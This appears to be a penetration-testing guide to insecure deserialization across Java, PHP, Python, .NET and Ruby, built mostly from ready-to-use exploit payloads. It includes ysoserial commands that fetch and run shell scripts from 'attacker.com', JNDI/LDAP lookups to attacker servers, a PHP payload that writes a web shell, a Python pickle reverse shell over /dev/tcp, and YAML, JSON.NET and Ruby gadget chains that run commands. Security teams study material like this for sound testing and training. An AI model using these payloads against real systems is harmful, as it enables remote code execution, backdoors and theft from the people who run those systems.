Insecure Deserialization
Insecure deserialization occurs when untrusted data is used to abuse the logic of an application, inflict denial of service, or execute arbitrary code. This guide covers exploitation techniques for Java, PHP, Python, .NET, and Ruby applications.
Why Deserialization Matters
Deserialization vulnerabilities often lead to Remote Code Execution (RCE) with minimal interaction. Attackers can craft malicious serialized objects that execute code upon deserialization. These vulnerabilities are particularly dangerous because exploitation is often reliable and repeatable.
Danger
📚 Quick Navigation
🎯 Fundamentals
⚡ Language-Specific Attacks
Tools & Resources
Understanding Deserialization
Serialization converts objects into a format for storage or transmission. Deserialization reconstructs objects from this data. When applications deserialize untrusted data without validation, attackers can inject malicious objects.
Serialization Formats by Language
| Language | Format Signature | Functions |
|---|---|---|
| Java | AC ED 00 05 (hex) or rO0 (base64) | ObjectInputStream.readObject() |
| PHP | O:4:"User":2:{...} | unserialize() |
| Python | cos\n, c__builtin__ | pickle.loads(), yaml.load() |
| .NET | AAEAAAD (base64) or XML format | BinaryFormatter, XmlSerializer |
| Ruby | \x04\x08 (Marshal) | Marshal.load(), YAML.load() |
Detection
Identifying Serialized Data
signatures.txt plaintext # Java serialized object signatures
# Hex: AC ED 00 05
# Base64: rO0AB (starts with)
# URL encoded: %AC%ED%00%05
# PHP serialized object
# O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:25;}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# Python pickle
# Starts with: (protocol 4)
# Or contains: cos
, c__builtin__
# .NET BinaryFormatter
# Base64: AAEAAAD/////
# XML: <SOAP-ENV:Envelope> or ObjectDataProvider
# Ruby Marshal
# Starts with:
Common Locations
locations.txt plaintext # Check these locations for serialized data:
- Cookies (especially ViewState in .NET)
- Hidden form fields
- Session tokens
- API request/response bodies
- WebSocket messages
- Custom HTTP headers
- File upload contents
- Database-stored objects
- Message queue data
- Cache entries
Java Deserialization
Java deserialization is one of the most common and dangerous vulnerability classes.
The gadget chain concept allows attackers to abuse existing classes to achieve RCE.
Using ysoserial
ysoserial-usage.sh bash # List available gadget chains
java -jar ysoserial.jar
# Generate payload for specific chain
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
# Common gadget chains:
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
java -jar ysoserial.jar CommonsCollections2 "wget attacker.com/shell -O /tmp/shell"
java -jar ysoserial.jar CommonsCollections3 "ping -c1 attacker.com"
java -jar ysoserial.jar CommonsCollections4 "nslookup attacker.com"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar CommonsCollections6 "whoami"
java -jar ysoserial.jar CommonsCollections7 "cat /etc/passwd"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
java -jar ysoserial.jar Spring1 "touch /tmp/pwned"
# Base64 encode for transmission
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
Detecting Vulnerable Libraries
java-detection.sh bash # Check for vulnerable Apache Commons Collections
# Versions < 3.2.2 are vulnerable
# Java Deserialization Scanner (Burp)
# Automatically tests multiple gadget chains
# Manual detection via DNS callback
java -jar ysoserial.jar URLDNS "http://detect.attacker.com"
# If DNS callback received, deserialization occurs
# Then test with RCE payloads
JNDI Injection (Log4j style)
jndi-injection.sh bash # JNDI/LDAP injection for Java RCE
# Works when JNDI lookups reach attacker-controlled server
# Start malicious LDAP server with marshalsec
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
# Payload triggers JNDI lookup
${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}
# Host compiled exploit class
# Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("id");
} catch (Exception e) {}
}
}
PHP Deserialization
Magic Methods
php-magic-methods.php php # PHP magic methods called during deserialization:
__wakeup() # Called when object is unserialized
__destruct() # Called when object is destroyed
__toString() # Called when object is converted to string
__call() # Called when inaccessible method is called
__get() # Called when reading inaccessible property
__set() # Called when writing inaccessible property
# Example vulnerable class
class FileHandler {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
# Exploit payload
O:11:"FileHandler":2:{s:8:"filename";s:14:"/tmp/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}
Using PHPGGC
phpggc-usage.sh bash # List available gadget chains
./phpggc -l
# Generate payload for specific framework
./phpggc Laravel/RCE1 system id
./phpggc Symfony/RCE4 exec "id"
./phpggc Monolog/RCE1 exec "whoami"
./phpggc Guzzle/RCE1 exec "cat /etc/passwd"
./phpggc Doctrine/RCE1 exec "ls"
./phpggc Magento/SQLI "select * from admin_user"
# With wrapper for phar
./phpggc -p phar -o exploit.phar Laravel/RCE1 system id
# Base64 encoded
./phpggc -b Laravel/RCE1 system id
# URL encoded
./phpggc -u Laravel/RCE1 system id
Phar Deserialization
phar-deserialization.sh bash # Phar archives can trigger deserialization via file operations
# file_exists(), is_dir(), file_get_contents(), include(), etc.
# Generate phar with malicious metadata
./phpggc -p phar -o exploit.phar Monolog/RCE1 exec id
# Trigger via phar:// wrapper
?file=phar://uploads/exploit.jpg/test.txt
# Works even with "safe" file operations:
file_exists("phar://uploads/evil.phar/test");
is_dir("phar://uploads/evil.phar/test");
filesize("phar://uploads/evil.phar/test");
# Bypass extension checks by renaming .phar to .jpg/.gif
# The phar:// wrapper ignores extensions
Python Deserialization
Pickle Exploitation
pickle-rce.py python import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Generate payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Alternative using __reduce_ex__
class RCE2:
def __reduce_ex__(self, protocol):
import subprocess
return (subprocess.check_output, (['id'],))
# Reverse shell payload
class ReverseShell:
def __reduce__(self):
import socket,subprocess,os
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"',))
YAML Deserialization
yaml-rce.yaml yaml # PyYAML unsafe load (yaml.load without Loader)
# Or yaml.unsafe_load, yaml.full_load
# RCE payload
!!python/object/apply:os.system ["id"]
# Alternative payloads
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.popen ["id"]
# Complex payload with module import
!!python/object/new:str
args: []
state: !!python/tuple
- "import os; os.system('id')"
- !!python/object/apply:exec []
.NET Deserialization
ViewState Exploitation
dotnet-ysoserial.ps1 powershell # ViewState is a common .NET deserialization target
# Check for __VIEWSTATE parameter in forms
# If MAC validation is disabled or key is known:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "id" | base64
# Common ysoserial.net gadgets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd.exe /c whoami"
ysoserial.exe -g PSObject -f BinaryFormatter -c "powershell -e [base64]"
# For LosFormatter (ViewState)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"
# For ObjectStateFormatter
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"
JSON.NET Exploitation
jsonnet-payload.json json // JSON.NET with TypeNameHandling enabled
// TypeNameHandling.All, TypeNameHandling.Objects, TypeNameHandling.Auto
// Malicious JSON payload
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd.exe", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
// File read payload
{
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "C:\\windows\\win.ini"
}
Ruby Deserialization
ruby-deserialization.rb ruby # Ruby Marshal.load is dangerous with untrusted data
# YAML.load in older versions also vulnerable
# Universal RCE gadget (Ruby >= 2.0)
require 'erb'
class Exploit
def initialize
@src = "<%= system('id') %>"
@filename = "exploit.erb"
end
end
erb_payload = ERB.allocate
erb_payload.instance_variable_set(:@src, "<%= system('id') %>")
erb_payload.instance_variable_set(:@filename, "x")
payload = Marshal.dump(erb_payload)
puts payload.inspect
# YAML RCE (older Ruby versions)
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Testing Checklist
🔍 Detection
- ○ Look for serialization signatures in traffic
- ○ Check cookies, POST data, hidden fields
- ○ Identify ViewState in .NET apps
- ○ Test API endpoints for object injection
- ○ Check file upload for deserialization
🎯 Identification
- ○ Determine language/framework used
- ○ Identify serialization library version
- ○ Test with URLDNS for Java (safe canary)
- ○ Check for error messages revealing info
- ○ Identify available gadget chains
💥 Exploitation
- ○ Generate payloads with ysoserial/PHPGGC
- ○ Test multiple gadget chains
- ○ Use time delays for blind testing
- ○ Try DNS/HTTP callbacks for confirmation
- ○ Escalate to reverse shell
📝 Documentation
- ○ Record exact payload used
- ○ Document gadget chain and library version
- ○ Screenshot command execution proof
- ○ Note impact (RCE, file read, etc.)
- ○ Include remediation steps
Practice Labs